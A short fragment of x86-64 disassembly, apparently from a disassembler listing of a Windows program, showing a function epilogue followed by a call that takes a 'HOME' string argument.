add rsp, 0x2030
pop rdi
ret
lea rcx, str.HOME
call fcn.14000ac90
int3